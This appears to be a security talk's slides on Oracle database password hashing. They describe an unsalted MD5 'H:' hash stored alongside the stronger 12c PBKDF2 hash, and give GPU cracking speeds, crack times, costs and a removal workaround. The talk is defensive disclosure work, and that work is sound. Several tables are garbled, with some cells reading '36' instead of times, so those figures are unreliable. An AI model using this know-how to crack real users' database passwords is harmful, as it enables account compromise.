<th>Password</th>
<th>Single GPU</th>
<th>8 GPU-Cluster</th>
<th>8^36</th>
<th>10^36</th>
<th>12^36</th>
</tr>
</thead>
<tbody>
<tr>
<td>Oracle 7-10g (DES)</td>
<td>709.1 MH/s</td>
<td>5,672 MH/s</td>
<td>8 min</td>
<td>7.6 d</td>
<td>27 yr</td>
</tr>
<tr>
<td>Oracle 11g (S:)</td>
<td>6162.7 MH/s</td>
<td>49,301 MH/s</td>
<td>58 s</td>
<td>21 h</td>
<td>3.1 yr</td>
</tr>
<tr>
<td>Oracle 12c (T:)</td>
<td>69,967 H/s</td>
<td>559,736 H/s</td>
<td>60 d</td>
<td>212 yr</td>
<td>275,916 yr</td>
</tr>
</tbody>
</table>
## Oracle DES Hash (7+)

- Old Oracle hashes stored in user$.password

<table>
<thead>
<tr>
<th>Length</th>
<th>cs</th>
<th>0.03 min</th>
<th>0,36 min</th>
<th>0.96 min</th>
<th>12 min</th>
<th>25 min</th>
<th>7 h</th>
<th>10 h</th>
<th>11 d</th>
<th>11.1 yrs</th>
<th>305 d</th>
<th>41 yrs</th>
<th>21 yrs</th>
<th>1,477 yrs</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>26</td>
<td>0.03 min</td>
<td>0.36 min</td>
<td>0.96 min</td>
<td>12 min</td>
<td>25 min</td>
<td>7 h</td>
<td>10 h</td>
<td>11 d</td>
<td>11.1 yrs</td>
<td>305 d</td>
<td>41 yrs</td>
<td>21 yrs</td>
<td>1,477 yrs</td>
</tr>
<tr>
<td>8</td>
<td>26</td>
<td>0.96 min</td>
<td>12 min</td>
<td>25 min</td>
<td>7 h</td>
<td>10 h</td>
<td>11 d</td>
<td>305 d</td>
<td>41 yrs</td>
<td>1,477 yrs</td>
<td>21 yrs</td>
<td>36</td>
<td>36</td>
<td>36</td>
</tr>
<tr>
<td>9</td>
<td>26</td>
<td>25 min</td>
<td>7 h</td>
<td>10 h</td>
<td>11 d</td>
<td>305 d</td>
<td>41 yrs</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
</tr>
<tr>
<td>10</td>
<td>26</td>
<td>10 h</td>
<td>11 d</td>
<td>305 d</td>
<td>41 yrs</td>
<td>21 yrs</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
</tr>
<tr>
<td>11</td>
<td>26</td>
<td>11 d</td>
<td>11.1 yrs</td>
<td>305 d</td>
<td>41 yrs</td>
<td>21 yrs</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
</tr>
<tr>
<td>12</td>
<td>26</td>
<td>305 d</td>
<td>41 yrs</td>
<td>21 yrs</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
</tr>
<tr>
<td>13</td>
<td>26</td>
<td>21 yrs</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
<td>36</td>
</tr>
</tbody>
</table>
Oracle SHA1 Hash (11g)

Oracle 11g hashes stored in user$\$.spare4 (S:xxx)

<table>
<thead>
<tr>
<th>Length</th>
<th>cs</th>
<th>cs</th>
<th>cs</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>26</td>
<td>0.03 min</td>
<td>36</td>
</tr>
<tr>
<td>8</td>
<td>26</td>
<td>0.96 min</td>
<td>36</td>
</tr>
<tr>
<td>9</td>
<td>26</td>
<td>25 min</td>
<td>36</td>
</tr>
<tr>
<td>10</td>
<td>26</td>
<td>10 h</td>
<td>36</td>
</tr>
<tr>
<td>11</td>
<td>26</td>
<td>11 d</td>
<td>36</td>
</tr>
<tr>
<td>12</td>
<td>26</td>
<td>305 d</td>
<td>36</td>
</tr>
<tr>
<td>13</td>
<td>26</td>
<td>21 yrs</td>
<td>36</td>
</tr>
</tbody>
</table>
Oracle Password Hash 12.1.0.2+

- Oracle 12.1.0.2 introduced a new PBKDF2/SHA512 based algorithm
- The new T: Password hash is 10 times slower than the old DES hash (Oracle 7+) and 88 times slower than the SHA1-based hash (Oracle 11+)
- The new algorithm is known and already implemented in some tools
- Remark: Microsoft Office 2013 is 10 times more time consuming to crack than the new Oracle PBKDF2
Oracle Password Hash 12.1.0.2+

- The new algorithm seems to be good...
- but...
Oracle Password Hash 12.1.0.2+

- There is more than 1 software development team for the Oracle database.
- The team responsible for the new 12g password hash did a good job with the PBKDF/SHA512 implementation.
- There was another team responsible for webdav/em database express (?)
- In Oracle 11g Oracle was using the basic authentication* for webdav authentication via the built-in http-server within the database.
- It seems that someone said: „Hey there is a RFC from 1999. Let’s use this to implement security in 12c.“**

* [https://en.wikipedia.org/wiki/Basic_access_authentication](https://en.wikipedia.org/wiki/Basic_access_authentication)
** [https://www.ietf.org/rfc/rfc2617.txt](https://www.ietf.org/rfc/rfc2617.txt)
Oracle Password Hash 12.1.0.2+

- and let’s implement this for all database users so they no longer use the insecure 11g base64-encoded passwords.

- Question: Is it really a good idea to implement a RFC from 1999?
Using unsalted MD5 for ALL password hashes was a really design idea....
Questions

* Is there a review of Oracle security components?
* Why has nobody (internally/externally) found this issue so far?
Oracle Password Hash 12.1.0.2+

- Let’s have a look at the RFC2617
  - KD(secret, data) = H(concat(secret, ":", data))
  - No salt but a secret

- Secret= 'XDB`
- and the hash will be

  MD5(XDB:tiger)

- and stored in the spare4-column starting with the H:Hash
For every strong t: password (with salt, de-optimized), Oracle is storing an unsalted MD5 password hash.

MD5 is probably the worst choice for customers because it is incredible fast to crack.

Instead of cracking 559,736 H/s (T:-Password) it is possible to crack the password 145000 times faster (81,549,000,000 H/s).
### CudaHashcat Benchmark

GeForce GTX TITAN X, 12287MB, 1215Mhz, 24MCU

<table>
<thead>
<tr>
<th></th>
<th>Single GPU</th>
<th>8 GPU-Cluster</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td>8^36</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>10^36</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>12^36</td>
</tr>
<tr>
<td>Oracle 7-10g (DES)</td>
<td>709.1 MH/s</td>
<td>5,672 MH/s</td>
<td>8 min</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>7,6 d</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>27 yr</td>
</tr>
<tr>
<td>Oracle 11g (S:) (SHA1)</td>
<td>6162.7 MH/s</td>
<td>49,301 MH/s</td>
<td>58 s</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>21 h</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>3.1 yr</td>
</tr>
<tr>
<td>Oracle 12c (T:) (PBKDF/SHA512)</td>
<td>69,967 H/s</td>
<td>559,736 H/s</td>
<td>60 d</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>212 yr</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>275,916 yr</td>
</tr>
<tr>
<td>Oracle 12c (H:) (MD5)</td>
<td>10,193 MH/s</td>
<td>81,549 MH/s</td>
<td>35 s</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>12 h</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1.9 yr</td>
</tr>
</tbody>
</table>
## Oracle 12c Password Hash Design Flaw

<table>
<thead>
<tr>
<th>Length</th>
<th>cs</th>
<th>time</th>
<th>cs</th>
<th>time</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>26</td>
<td>2 s</td>
<td>36</td>
<td>35 s</td>
</tr>
<tr>
<td>9</td>
<td>26</td>
<td>1 min</td>
<td>36</td>
<td>21 min</td>
</tr>
<tr>
<td>10</td>
<td>26</td>
<td>30 min</td>
<td>36</td>
<td>12 h</td>
</tr>
<tr>
<td>11</td>
<td>26</td>
<td>13 h</td>
<td>36</td>
<td>19 d</td>
</tr>
<tr>
<td>12</td>
<td>26</td>
<td>14 d</td>
<td>36</td>
<td>1.9 yrs</td>
</tr>
<tr>
<td>13</td>
<td>26</td>
<td>1 yr</td>
<td>36</td>
<td>68 yrs</td>
</tr>
</tbody>
</table>

oCL HashCat, 81,549,000,000 hashes/second
S2480-RAD-290X) with 8x 290X
https://gist.github.com/epixoip/8171031
Aug 2015
Thank you ORACLE for preserving the environment...
How much does it cost to crack a password?

- Power Consumption GeForce GTX TITAN X
  - approx. 273 W* per graphic card
  - 2200 W (Brutalis)

- Cost to crack a 10 character password (alphanum10^36)

<table>
<thead>
<tr>
<th>Algorithm</th>
<th>Time (hours)</th>
<th>Cost Germany (29 cent/kWh)</th>
<th>Cost US (10 US cent/kWh) **</th>
</tr>
</thead>
<tbody>
<tr>
<td>DES</td>
<td>182 h</td>
<td>52 EUR</td>
<td>18 USD</td>
</tr>
<tr>
<td>SHA1</td>
<td>21 h</td>
<td>6 EUR</td>
<td>2 USD</td>
</tr>
<tr>
<td>MD5</td>
<td>12 h</td>
<td>3.5 EUR</td>
<td>1.2 USD</td>
</tr>
<tr>
<td>PBKDF2</td>
<td>1857120</td>
<td>538,564 EUR</td>
<td>185,712 USD</td>
</tr>
</tbody>
</table>

* [https://hashcat.net/forum/thread-4314.html](https://hashcat.net/forum/thread-4314.html)
Oracle 12c passwords are easier to hack than ever

Oracle 10 passwords are still a good choice as long as this MD5-issue is not fixed.

Potential workaround:
Remove the H:-Hashes from the spare4 column (check with Oracle if this is supported)
Trends 2016

- Oracle 12c migration projects
- New hardening documents for Oracle 12c required (new features, new packages (DBMS_IR, ...), ...)
- More SIEM integration projects of databases auditing/monitoring (Splunk, IBM QRadar, McAfee ESM, ...)
- More auditing projects
Q & A
Thank you

Contact:
Red-Database-Security GmbH
Eibenweg 42
D-63150 Heusenstamm
Germany